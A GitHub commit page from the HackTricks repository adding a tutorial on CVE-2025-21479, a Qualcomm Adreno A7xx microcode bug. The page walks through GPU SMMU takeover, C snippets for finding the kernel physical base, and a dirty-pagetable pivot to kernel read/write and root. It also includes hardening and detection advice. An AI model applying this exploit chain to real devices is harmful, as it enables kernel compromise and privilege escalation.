Skip to content

Commit 7853303

Browse files
author
HackTricks News Bot
committed
Add content from: CVE-2025-21479: Adreno A7xx SDS→RB privilege bypass via IB-l...
1 parent 552cc55 commit 7853303

File tree

4 files changed

+164
-2
lines changed

4 files changed

+164
-2
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -860,6 +860,7 @@
860860
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
861861
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
862862
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
863+
- [Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw](binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md)
863864
- [Ksmbd Streams Xattr Oob Write Cve 2025 37947](binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md)
864865
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
865866
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
# Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
This page abstracts an in-the-wild Adreno A7xx microcode logic bug (CVE-2025-21479) into reproducible exploitation techniques: abusing IB-level masking in Set Draw State (SDS) to execute privileged GPU packets from an unprivileged app, pivoting to GPU SMMU takeover and then to a fast, stable kernel R/W via a dirty-pagetable trick.
6+
7+
- Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
8+
- Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
9+
- Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
10+
- Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).
11+
12+
## Background: IB levels, SDS and the $12 mask
13+
14+
- The kernel maintains a ringbuffer (RB=IB0). Userspace submits IB1 via CP_INDIRECT_BUFFER, chaining to IB2/IB3.
15+
- SDS is a special command stream entered via CP_SET_DRAW_STATE:
16+
- A6xx: SDS is treated as IB3
17+
- A7xx: SDS moved to IB4
18+
- Microcode tracks the current IB level in register $12 and gates privileged packets so they are only accepted when the effective level corresponds to IB0 (kernel RB).
19+
- Bug: A7xx microcode kept masking $12 with 0x3 (2 bits) instead of 0x7 (3 bits). Since IB4 & 0x3 == 0, SDS was misidentified as IB0, allowing privileged packets from user-controlled SDS.
20+
21+
Why it matters:
22+
23+
```
24+
A6XX | A7XX
25+
RB & 3 == 0 | RB & 3 == 0
26+
IB1 & 3 == 1 | IB1 & 3 == 1
27+
IB2 & 3 == 2 | IB2 & 3 == 2
28+
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
29+
| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
30+
```
31+
32+
Microcode diff example (patch switched the mask to 0x7):
33+
34+
```
35+
@@ CP_SMMU_TABLE_UPDATE
36+
- and $02, $12, 0x3
37+
+ and $02, $12, 0x7
38+
@@ CP_FIXED_STRIDE_DRAW_TABLE
39+
- and $02, $12, 0x3
40+
+ and $02, $12, 0x7
41+
```
42+
43+
## Exploitation overview
44+
45+
Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable.
46+
47+
High-level chain
48+
- Craft a fake GPU pagetable in shared memory
49+
- Enter SDS and execute:
50+
- CP_SMMU_TABLE_UPDATE -> switch to fake pagetable
51+
- CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives
52+
- CP_SET_DRAW_STATE with run-now flags (dispatch immediately)
53+
54+
GPU R/W primitives via fake pagetable
55+
- Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> arbitrary physical write
56+
- Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)
57+
58+
Notes
59+
- Each Android process gets a KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Switching contexts normally updates SMMU tables in the RB; the bug lets you do it in SDS.
60+
- Excessive GPU traffic can cause UI blackouts and reboots; reads are small (4/8B) and sync is slow by default.
61+
62+
## Building the SDS command sequence
63+
64+
- Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition).
65+
- Construct an SDS buffer containing, in order:
66+
1) CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
67+
2) One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
68+
3) CP_SET_DRAW_STATE with flags to run-now
69+
70+
The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.
71+
72+
## Finding Samsung kernel physbase under physical KASLR
73+
74+
Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.
75+
76+
Representative loop
77+
78+
```c
79+
while (!ctx->kernel.pbase) {
80+
offset += 0x8000;
81+
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
82+
if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
83+
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
84+
if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
85+
ctx->kernel.pbase = base + offset - 0x10000;
86+
break;
87+
}
88+
}
89+
```
90+
91+
Once physbase is known, compute the kernel virtual with the linear map:
92+
93+
```
94+
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
95+
```
96+
97+
## Stabilizing to fast, reliable CPU-side kernel R/W (dirty pagetable)
98+
99+
GPU R/W is slow and small-granularity. Pivot to a fast/stable primitive by corrupting your own process PTEs (“dirty pagetable”):
100+
101+
Steps
102+
- Locate current task_struct -> mm_struct -> mm_struct->pgd using the slow GPU R/W primitives
103+
- mmap two adjacent userspace pages A and B (e.g., at 0x1000)
104+
- Walk PGD->PMD->PTE to resolve A/B’s PTE physical addresses (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
105+
- Overwrite B’s PTE to point to the last-level pagetable managing A/B with RW attributes (phys_to_readwrite_pte)
106+
- Write via B’s VA to mutate A’s PTE to map target PFNs; read/write kernel memory via A’s VA, flushing TLB until a sentinel flips
107+
108+
<details>
109+
<summary>Example dirty-pagetable pivot snippet</summary>
110+
111+
```c
112+
uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE,
113+
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
114+
uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE);
115+
page_map[0] = 0x4242424242424242;
116+
117+
uint64_t tsk = get_curr_task_struct(ctx);
118+
uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM);
119+
uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
120+
121+
uint64_t pgd_off = get_pgd_offset((uint64_t)map);
122+
uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1);
123+
uint64_t pmd_off = get_pmd_offset((uint64_t)map);
124+
uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1);
125+
uint64_t pte_off = get_pte_offset((uint64_t)map);
126+
uint64_t pte_addr = phys_pte + pte_off;
127+
uint64_t new_pte = phys_to_readwrite_pte(pte_addr);
128+
kernel_write_u64(ctx, pte_addr + 8, new_pte, false);
129+
while (page_map[0] == 0x4242424242424242) flush_tlb();
130+
```
131+
132+
</details>
133+
134+
## Detection and hardening
135+
136+
- Firmware/microcode: fix all sites masking $12 to use 0x7 (A7xx) and audit privileged packet gates
137+
- Driver: validate effective IB level for privileged packets and enforce per-context allowlists
138+
- Telemetry: alert if CP_SMMU_TABLE_UPDATE (or similar privileged opcodes) appears outside RB/IB0, especially in SDS; monitor anomalous bursts of 4/8-byte CP_MEM_TO_MEM and excessive TLB flush patterns
139+
- Kernel: harden pagetable metadata and detect user PTE corruption patterns
140+
141+
## Impact
142+
143+
A local app with GPU access can execute privileged GPU packets, hijack the GPU SMMU, achieve arbitrary kernel physical/virtual R/W, disable SELinux and obtain root on affected Snapdragon A7xx devices (e.g., Samsung S23). Severity: High (kernel compromise).
144+
145+
## References
146+
147+
- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
148+
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
149+
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
150+
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)
151+
152+
{{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/README.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -57,6 +57,12 @@ Tools that could help to search for kernel exploits are:
5757

5858
Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid.
5959

60+
Additional kernel exploitation technique:
61+
62+
{{#ref}}
63+
../../binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md
64+
{{#endref}}
65+
6066
### CVE-2016-5195 (DirtyCow)
6167

6268
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

src/pentesting-web/xs-search/css-injection/less-code-injection.md

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
1-
## LESS Code Injection leading to SSRF & Local File Read
1+
# LESS Code Injection leading to SSRF & Local File Read
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
24

35
LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.
46

@@ -59,4 +61,5 @@ curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
5961

6062
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
6163
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
62-
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
64+
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
65+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)